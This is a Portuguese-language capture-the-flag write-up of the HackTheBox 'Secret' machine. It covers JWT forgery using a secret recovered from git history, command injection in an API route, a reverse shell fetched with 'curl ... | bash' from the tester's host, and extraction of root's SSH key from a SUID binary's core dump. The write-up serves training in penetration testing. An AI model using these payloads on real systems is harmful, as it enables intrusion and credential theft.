> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Relato do HackTheBox Secret

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Habilidades**:

* Análise de Código
* Abusando de uma API
* Tokens Web JSON (JWT)
* Abusando/Explorando Core Dump (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/a9b3216d5fafa044b6f383cdb77d0c025506e471" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/41ae46eb923a01da8481e3f517ab3ee68b59d1cf" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="/files/e019f65590e077d4550b91069fdaf01f98702c49" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (80,22,3000)

<figure><img src="/files/30dc9a4d89cb3fda101f6b31c84afb659ca92153" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="/files/7b4b5066fc65504a642daf410b7526a655c95d6f" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

<figure><img src="/files/c38dd39b5976379c328a24534a72fe9d4e78fcaf" alt="" width="563"><figcaption></figcaption></figure>

> **Observação**: O mesmo site está acessível nas portas 80 e 3000.

<figure><img src="/files/70d2d18cc2945e0487cfb358bffd9d6a01b51359" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/faedda9c21ce6cf032a689f55df476b49d9352d1" alt=""><figcaption></figcaption></figure>

**Busca de diretórios:**

Usamos o Gobuster para procurar diretórios no site:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/8dd33b64c474da6771d6cf11c3b8234558267330" alt=""><figcaption></figcaption></figure>

## Registrar um usuário da API

Na seção "docs", encontramos instruções para registrar um usuário. Exemplo para o usuário “jordan”:

<figure><img src="/files/ab34a8ad1642cf4084d96a14272f4f04a468bdbd" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="/files/504c6bfc85b2c164989b5d45cdbe18207e2dfc3e" alt=""><figcaption></figcaption></figure>

## API de Autenticação

Para se conectar:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Isso nos retorna um token de autenticação (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="/files/d0ba25cde4f12b23739c179eb061cc1421141a7a" alt=""><figcaption></figcaption></figure>

### Verificando o corpo JSON padrão

<figure><img src="/files/5fbe2d765d45ef5e1d3b69e0aeca43312d2d6bfd" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="/files/fd3787c891e35caeaf2d750cff2cc87e6d185c6e" alt=""><figcaption></figcaption></figure>

### Verificação da vulnerabilidade [Token Web JSON](/pt-br/web-vulnerabilities/json-web-token-jwt-attack.md)

Use um site para decodificar o JWT e ler e manipular seu conteúdo.

> **Nota**: O token JWT deveria ser inválido. Ao modificar os campos "name" e "email" para os de um administrador:

{% embed url="<https://jwt.io/>" %}

<figure><img src="/files/53a608625933a131a0c62e98e14acf14c29f32c3" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="/files/aeef28c2545bd3ccc5b1dd59730ed95e446d5b62" alt=""><figcaption></figcaption></figure>

### Tentando acessar uma API privada:

Tentando se conectar a uma API privada usando o JWT modificado:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Recebemos uma mensagem de "token inválido".

<figure><img src="/files/87e6ec000638bbca5b2a131fb3f737e10980c462" alt="" width="563"><figcaption></figcaption></figure>

Com nosso próprio JWT, temos acesso como um usuário normal:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6TMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Recebemos a mensagem "Você é um usuário normal".

<figure><img src="/files/1c72edbd9d0b4ea00e06afe16f27754baa341f5d" alt=""><figcaption></figcaption></figure>

## Enumeração de rotas da API com Wfuzz

Use o Wfuzz para explorar as rotas disponíveis:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Nova descoberta: a `/api/logs` rota.

<figure><img src="/files/1a531d57a9d564143ed81b74ab11f48f9a0ba768" alt=""><figcaption></figcaption></figure>

## Análise do código-fonte

A página web fornece uma opção para baixar o código-fonte.

<figure><img src="/files/291376057baa869b2868988fb7fde241caf24d66" alt="" width="563"><figcaption></figcaption></figure>

> **Descobertas** :

* Um `.env` arquivo contendo um `token_secret` com o valor "secret".

<figure><img src="/files/71dd88165a957eaf416468e621f069fdbdef803f" alt=""><figcaption></figcaption></figure>

Um `.git` pasta com um commit indicando a exclusão do arquivo `.env`.

<figure><img src="/files/9330ad568b5d7ff40aad86d8190a4c94f270f4fd" alt=""><figcaption></figcaption></figure>

O arquivo antigo excluído `token_secret` é encontrado:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="/files/70ad675e0c79508f086a5f768805d1652325be26" alt=""><figcaption></figcaption></figure>

Use este antigo `token_secret` para assinar um JWT com informações de administrador e acessar a API privada:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="/files/1087c0df3c37fd2f7fe4a554a4a08b296ae94b7a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Resultado**: Mensagem de boas-vindas como administrador: "welcome back admin".

<figure><img src="/files/ad76789d572ff9fed40cfd3a643f00d4e87cf01d" alt=""><figcaption></figcaption></figure>

Por fim, ao executar a `/api/logs` rota, o seguinte conteúdo é exibido:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="/files/b0d85f05ee01cfef1a7505bdea364d3f7c48c0c3" alt=""><figcaption></figcaption></figure>

Ao examinar o `privitate.js` arquivo e analisar o código, vemos que:

<figure><img src="/files/6ca8d8314ce88cdc4a8b77e75594f6227c150d2f" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade RCE:

{% hint style="info" %}
Este código tem um problema de segurança devido à injeção de comandos. Porque `arquivo` vem dos parâmetros da consulta e é inserido diretamente no comando do terminal, um usuário malicioso poderia modificar `arquivo` para executar outros comandos. A função desta rota é executar o `git log --oneline [file]` comando no sistema, onde `[file]` é um arquivo específico solicitado no parâmetro de consulta da requisição.
{% endhint %}

Aqui está um exemplo `curl` de comando que tenta injetar `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="/files/9dc61871cacf7ee851d64146f8b7883b72e771f1" alt=""><figcaption></figcaption></figure>

#### Vamos executar uma shell reversa:

1. Crie um `index.html` arquivo em nossa máquina e criar um servidor web com o seguinte conteúdo:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Em seguida, escute na porta 4444:

```bash
nc -nlvp 4444
```

Execute uma injeção com `curl` em nosso servidor web:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/2f0ec34e1e364f81cc7a56068120173678a3ef55" alt=""><figcaption></figcaption></figure></div>

### Flag user.txt :)

<figure><img src="/files/63ceaf05bd58d874b897327065fdb04cb0ebde9b" alt=""><figcaption></figcaption></figure>

**Manipulação do terminal:**/ Depois de ter acesso ao servidor Linux, aqui estão os comandos para executar um processamento eficiente no terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabilize a shell para um trabalho mais confortável. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de Privilégios (SUID)

Com o seguinte comando, verificamos se nosso usuário **tem privilégios SUID**:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos um arquivo incomum localizado em `/opt/count`, cujo proprietário é `root`.

<figure><img src="/files/2afa5dc3b5fa93dc4176af029b96507d66e814f6" alt=""><figcaption></figcaption></figure>

Ao executar este binário, ele nos pede para fornecer um arquivo e então lista o número total de caracteres, palavras e linhas. Este script lerá o conteúdo do arquivo e depois exibirá suas propriedades.

<figure><img src="/files/c931954fd4061431a8ed3835e23e40593d250485" alt="" width="563"><figcaption></figcaption></figure>

### Binário de Core Dump

Ao examinar o código-fonte, podemos observar que um core dump é gerado, armazenando temporariamente o conteúdo em caso de erro.

<figure><img src="/files/1a02b8e369ee06f676ad967a43c4ec6950c4012e" alt=""><figcaption></figcaption></figure>

Os erros são salvos no `/var/crash` diretório. Veja como criar um core dump:

1. **Digite o nome do arquivo ou diretório:**

   ```bash
   Digite o nome do arquivo/diretório de origem: /root/.ssh/id_rsa
   ```

*(chave SSH do root)* 2. **Salvar resultados em um arquivo?**

````
```css
Salvar resultados em um arquivo? [y/N]: ^Z
```
````

*(Colocar em segundo plano)* 3. **Obtenha o PID:**

````
```bash
ps
```

_(Copiar o PID)_
````

4\. **Matar o processo:**

````
```bash
kill -BUS 'PID'
```
````

5\. **Execute o binário novamente:**

````
```bash
fg
```
````

6\. **Verifique o diretório de core dumps:**

````
```bash
ls -l /var/crash
```
````

*(Um novo arquivo aparece: `_opt_count.1000.crash`)*

<figure><img src="/files/99ee3804ffba844169b3e5eed46e10f36738c0b6" alt=""><figcaption></figcaption></figure>

Agora temos um core dump em base64 contendo a chave SSH do root.

<figure><img src="/files/4acc5420ff4fb4c1c8605363a8c49d5c0f5fb28f" alt=""><figcaption></figcaption></figure>

### Apport-unpack

Para extrair as informações, usaremos `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Em seguida, listaremos o conteúdo do arquivo em `/tmp/ssh/coredump` usando `strings`:

<figure><img src="/files/e5d023a5ed9e3d0eeb41e1e38d0aa383cad42395" alt=""><figcaption></figcaption></figure>

Encontramos a chave SSH do root

<figure><img src="/files/22a97ce88d37280fad4c0e3cca5852e25908b5f8" alt=""><figcaption></figcaption></figure>

### Conexão SSH

Assim que tivermos criado o `id_rsa` arquivo com permissões 600, podemos nos conectar via SSH:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="/files/1320d05854c3270575645ed4e8145352314be7e3" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/a737485538891230e9ad4d37bca09f79cd597f72" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a3ab775f21f685719da3d4204524d35146ea0e4c" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
